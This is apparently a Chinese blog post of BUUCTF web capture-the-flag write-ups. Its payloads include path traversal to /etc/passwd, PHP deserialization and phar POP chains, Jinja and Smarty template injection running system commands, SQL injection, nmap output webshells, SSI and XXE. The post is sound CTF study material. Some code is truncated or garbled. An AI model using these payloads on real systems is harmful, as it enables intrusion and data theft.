    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

前面看的不是很懂,只知道前面两个if不能是suctf.cc,然后经过encode('idna').decode('utf-8')要等于suctf.cc

大佬的脚本

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
 
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

BUUCTF刷题记录(持续更新中~)_第28张图片
随便找个代替c就行,然后访问/etc/passwd发现成功

file://suctf.cⓒ/../../../../../etc/passwd

然后联系题目,访问nginx的配置文件,目录为usr/local/nginx/conf/nginx.conf

file://suctf.cⓒ/../../../../../usr/local/nginx/conf/nginx.conf

在这里插入图片描述读取flag

file://suctf.cⓒ/../../../../../usr/fffffflag

[安洵杯 2019]easy_serialize_php

source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

看到题目将敏感字符串替换为空,肯定是反序列化字符串逃逸,唉,每次这种题目,我小小的脑瓜子不转个一两个小时根本构造不出来。
先去phpinfo看一下
在这里插入图片描述
看到extract($_POST),意味着可以变量覆盖,可以传的参数_SESSION[user],_SESSION[function]
我们需要base64_decode($userinfo['img'])=d0g3_f1ag.php,也就是$userinfo['img']=ZDBnM19mMWFnLnBocA==,但没法控制img参数,所以要通过反序列化字符串逃逸来达到想要的结果。

class _SESSION{
    public $user = 'flagflagflagflagflagflag';
    public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
}
$p=new _SESSION();
echo serialize($p);
$serialize_info = filter(serialize($p));
echo "\n";
echo $serialize_info;

这样在经过替换后吃掉了function的值,成功将img的值修改成了ZDBnM19mMWFnLnBocA==,但此时只有两个参数,而题目有个,所以还要加一个

class _SESSION{
    public $user = 'flagflagflagflagflagflag';
    public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
}
$p=new _SESSION();
echo serialize($p);
$serialize_info = filter(serialize($p));
echo "\n";
echo $serialize_info;
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

BUUCTF刷题记录(持续更新中~)_第29张图片

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}

还要一种payload

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这样序列化后经过替换结果为

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

[0CTF 2016]piapiapia

又是php反序列化字符串逃逸~
开局一个登陆框,没有注入,尝试访问register.php,发现可以,注册后登陆,可以填写信息,查看信息。
其实题目源码泄露,www.zip即可下载源码。
审计后发现以下关键代码

//class.php
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string)
//profile.php
$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
//update.php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

我们的最终目的是要通过file_get_contents来读取config.php获得flag,而想让photo=config.php需要通过php反序列化字符串逃逸来完成。
首先nickname的长度限制用数组绕过,然后需要逃逸的字符是";}s:5:"photo";s:10:"config.php";}(因为nickname为数组了,所以要加一个}),共34个,一个where替换成hacker会多出一个字符,也就是要34个where
BUUCTF刷题记录(持续更新中~)_第30张图片

在这里插入图片描述
解密得到flag


[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
    {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

模板注入,注入点在/shrine/{ {}}
config中应该有flag,但没法直接读取config
可以先读取一波当前位置的全部全局变量

/shrine/{
    {url_for.__globals__}}

发现有current_app
在这里插入图片描述
查看current_app的config即可得到flag

/shrine/{
    {url_for.__globals__['current_app'].config}}

[SWPU2019]Web1

sql注入,注入点在广告名处而不是id处,并且有22个字段。。。
过滤了order by,可用group by代替

1'group/**/by/**/22,'1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

过滤了information,参考这里,可以用sys.schema_auto_increment_columns来代替information_schema.tablesschema_table_statistics_with_buffer来代替information_schema.columns,但buu上不行,只能无列名注入
不过mysql.innodb_table_stats倒是可以

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

无列名注入如下图所示

BUUCTF刷题记录(持续更新中~)_第31张图片

查列得到flag

//将user表的原本的3列名字变成了1,2,3,将第3列别名为b,然后查询b列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这里有几列可以慢慢试过去,不对会报错,而flag在哪列同样一个个试过去


[WUSTCTF2020]朴实无华

robots.txt里看一下,果然有东西fAke_f1agggg.php,虽然是假的flag,但响应头暗藏玄机
BUUCTF刷题记录(持续更新中~)_第32张图片

 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>

第一层intval绕过很好绕,科学计数法就行

num=2010e2

第二层有点难搞,因为是弱比较所以'0e12345''0e11111'这种是相等的,也就是要找一个0e开头的数,md5后也是0e开头。(我自己没搜到,太菜了。。。)

md5=0e215962017

第三层就简单了,${IFS}代替空格,tac代替cat,直接读flag

get_flag=tac${IFS}f*

[网鼎杯 2020 朱雀组]Nmap

又是nmap,跟之前[BUUCTF 2018]Online Tool这题很像,直接用那个payload试试看

'  -oG shell.php '

发现过滤了php,改用短标签和phtml后缀

'  -oG shell.phtml '

访问shell.phtml,发现成功写入,直接读flag
BUUCTF刷题记录(持续更新中~)_第33张图片


[MRCTF2020]PYWebsite

打开网页源码发现flag.php,但没有flag
BUUCTF刷题记录(持续更新中~)_第34张图片尝试加个xff头

BUUCTF刷题记录(持续更新中~)_第35张图片
就这?


[极客大挑战 2019]FinalSQL

根据题目,盲注没错了
对照着写了个二分法的脚本

import requests
url = 'http://c4eb39fc-5e90-4165-9a11-5d9f7513cce5.node3.buuoj.cn/search.php'
flag = ''
payload = {
    'id':''
}

for i in range(1,300):
    left = 1
    right = 127
    mid=int((left+right)/2)
    while(left

这题flag放的地方有点坑,不在Flaaaaag表中,而在F1naI1y表的password中,并且这个password的值还巨多,这我要是没用二分法估计得跑半小时。
在这里插入图片描述


[NPUCTF2020]ReadlezPHP

ctrl+u发现time.php

a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

尝试反序列化命令执行,发现system被禁了,eval也不行,assert到是可以,查看phpinfo发现flag

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

感觉这题挺没意思的


[BJDCTF2020]EasySearch

源码泄露,index.php.swp

alert('[+] Welcome to manage system')";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            

Hello,'.$_POST['username'].'

*** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo ""; }else { *** } ***

首先需要password经过md5加密后前几位等于6d0bc1

import hashlib
for i in range(1,10000000000):
    password = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if password[0:6]=='6d0bc1':
        print(i)
        print(password)
        break
password=2020666

然后是SSI注入漏洞,这就涉及到我的知识盲区了
服务器端包含注入SSI分析总结

SSI是英文"Server Side Includes"的缩写,翻译成中文就是服务器端包含的意思。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

因为登入后抓包发现一个url,是shtml后缀,里面可能存在ssi指令,尝试ssi注入,注入点在username处
使用exec指令,使用cmd作为参数执行服务器端命令:
flag在上级目录

username=

BUUCTF刷题记录(持续更新中~)_第36张图片
然后访问给的url就有flag


[MRCTF2020]Ezpop

append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }

妈的,稍微难一点就屁都不会了,难顶~
首先看一下要用到的魔术方法

__get() //用于从不可访问(或不存在)的属性读取数据
__invoke() //当尝试将对象调用为函数时触发
__toString() //把类当作字符串使用时触发

例:


//输出:你把对象当函数调用了!
password;
?>
//输出:你在调用不可达的属性或不存在的属性!

//输出:你在把类当作字符串使用!

回到题目
我们最终是要利用include来读取flag,这需要触发__invoke来实现,也就是要将一个对象当函数调用,正好在Test类中的__get方法中有这么两行代码

public function __get($key){
        $function = $this->p;
        return $function();
    }

那么只要$this->p=new Modifier()就能触发__invoke
而想要触发__get就要访问不可达或不存在的属性,又正好在Show类中的__toString方法有这么一行

public function __toString(){
        return $this->str->source;
    }

只要$this->str=new Test(),而Test类中没有source属性,这样就能触发__get
那要怎么触发__toString呢?Show还有这么两行

public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"; }

也就是只要$this->source=new Show()就能触发__toString

注意,因为Modifier类中有protected属性,序列化后有不可见字符%00,提交时要手动加上,或者直接把最终payload进行url编码

append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } $a = new Test(); $a->p = new Modifier(); //触发__invoke $b = new Show(); $b->str = $a; //触发__get $c = new Show(); $c->source = $b; //触发__toString echo urlencode(serialize($c)); ?>
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

由MRCTF2020学习反序列化POP链


[NCTF2019]True XML cookbook

首先跟之前那题一样,可以任意文件读取,但没有flag,可以php伪协议读取doLogin.php,但没啥用


 ]>
&goodies;123456

接下来需要的是xxe打内网
要读取/etc/host,查看存活主机
然后
BUUCTF刷题记录(持续更新中~)_第37张图片
???为什么跟wp不一样,ip地址呢?
其实还有一个关键文件,/proc/net/arp

BUUCTF刷题记录(持续更新中~)_第38张图片
(可能我后面爆破的原因,有这么多ip,一开始就一个10.0.212.28.xx,忘了是哪个。。。)
然后爆破c端,找到flag,在10.0.212.11

BUUCTF刷题记录(持续更新中~)_第39张图片

没搞懂/etc/host和/proc/net/arp的区别,希望有大佬能解答一下~


[GYCTF2020]FlaskApp

结合题目,测试后发现在解密处存在ssti,
简单fuzz后发现过滤了flag,os,eval
可以用如下命令读取app.py

{
    {url_for.__globals__.__builtins__.open('app.py').read()}}

发现黑名单

black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 

可以字符串拼接来绕过

{
    {url_for.__globals__['o'+'s']['pop'+'en']('ls /').read()}}
e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdscyAvJykucmVhZCgpfX0=

找到flag

BUUCTF刷题记录(持续更新中~)_第40张图片

读取flag

{
    {url_for.__globals__['o'+'s']['pop'+'en']('cat /this_is_the_fla'+'g.txt').read()}}
e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdjYXQgL3RoaXNfaXNfdGhlX2ZsYScrJ2cudHh0JykucmVhZCgpfX0=

BUUCTF刷题记录(持续更新中~)_第41张图片


[CISCN2019 华北赛区 Day1 Web2]ikun(不会)

题目要求买lv6,翻了几页没看见,写个脚本跑一下

import requests
url = 'http://afdaf66c-c95a-4d7f-80da-6d149e896787.node3.buuoj.cn/shop'
payload = {
    'page' : 1
}
for i in range(1,200):
    payload['page'] = i
    r = requests.get(url,params=payload)
    if 'lv6.png' in r.text:
        print(i)
        break

最终发现在181页,但发现钱不够,抓包将折扣改成0.000000008
然后提示要admin,再仔细看了下,http头中有jwt,放到这个网站看一下,是hs256加密,用c-jwt-cracker破解key

在这里插入图片描述

构造jwt
BUUCTF刷题记录(持续更新中~)_第42张图片
替换jwt后发现成功成为admin,在网页源码中发现www.zip,下载
然后就是python反序列化,没接触过,研究完后再回来做~


[CISCN2019 华东南赛区]Web11

题目页面中的Build With Smarty是重点,说明用了smarty模板,猜测是模板注入
题目会检测ip,加个xff头发现注入点在xff头

BUUCTF刷题记录(持续更新中~)_第43张图片
没接触过smarty,搜一下语法,发现可以执行php函数
smarty中调用php内置函数

读取flag

X-Forwarded-For: {'cat /flag'|system}

BUUCTF刷题记录(持续更新中~)_第44张图片

看到别的师傅写的一些smarty常用payload

{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} 

[CISCN2019 华北赛区 Day1 Web1]Dropbox

登陆后随便上传一个图片,发现可以下载和删除,猜测可以任意文件下载
抓包,filename改为/etc/passwd
但没法下载其他文件,看wp才知道要chdir() 现实目录跳跃filename=../../index.php
可以下载class.php,delete.php,download.php,index.php,upload.php
不过有用的就class.php和delete.php

//class.php
db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
'; $table .= ''; foreach ($this->funcs as $func) { $table .= ''; } $table .= ''; $table .= ''; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= ''; } $table .= ''; $table .= ''; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
//delete.php
open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

有几个关键点

User类中
public function __destruct() {
        $this->db->close();
File类中
public function close() {
        return file_get_contents($this->filename);
FileList类中
public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

__call:会在对象调用不存在的方法时,自动执行,第一个参数为调用的方法名

所以思路为:当db的值为FileList的一个对象时,执行close()方法,但FileList中没有close(),于是触发__call(‘close()’)方法,使得$file->close(),进而$results=file_get_contents($filename),最终FileList->__destruct()输出$result
payload

files = array(new File());
    }
}
$a = new User();
$b = new FileList();
$a->db = $b;
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

上传时将类型为image/gif,然后删除时filename=phar://phar.gif

BUUCTF刷题记录(持续更新中~)_第45张图片
其实做完了还是不太懂,再也不想看到php了。。。
多放几篇wp
https://www.jianshu.com/p/5b91e0b7f3ac
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://blog.csdn.net/weixin_43345082/article/details/100102082


[BSidesCF 2019]Futurella

查看网页源码就有flag
我直接黑人问号???


[GWCTF 2019]枯燥的抽奖(打不开)

题目容器新建不了,以后再说


[MRCTF2020]套娃


                    

你可能感兴趣的:(web,安全)

' . htmlentities($func) . 'Opt
' . htmlentities($value) . '涓嬭浇 / 鍒犻櫎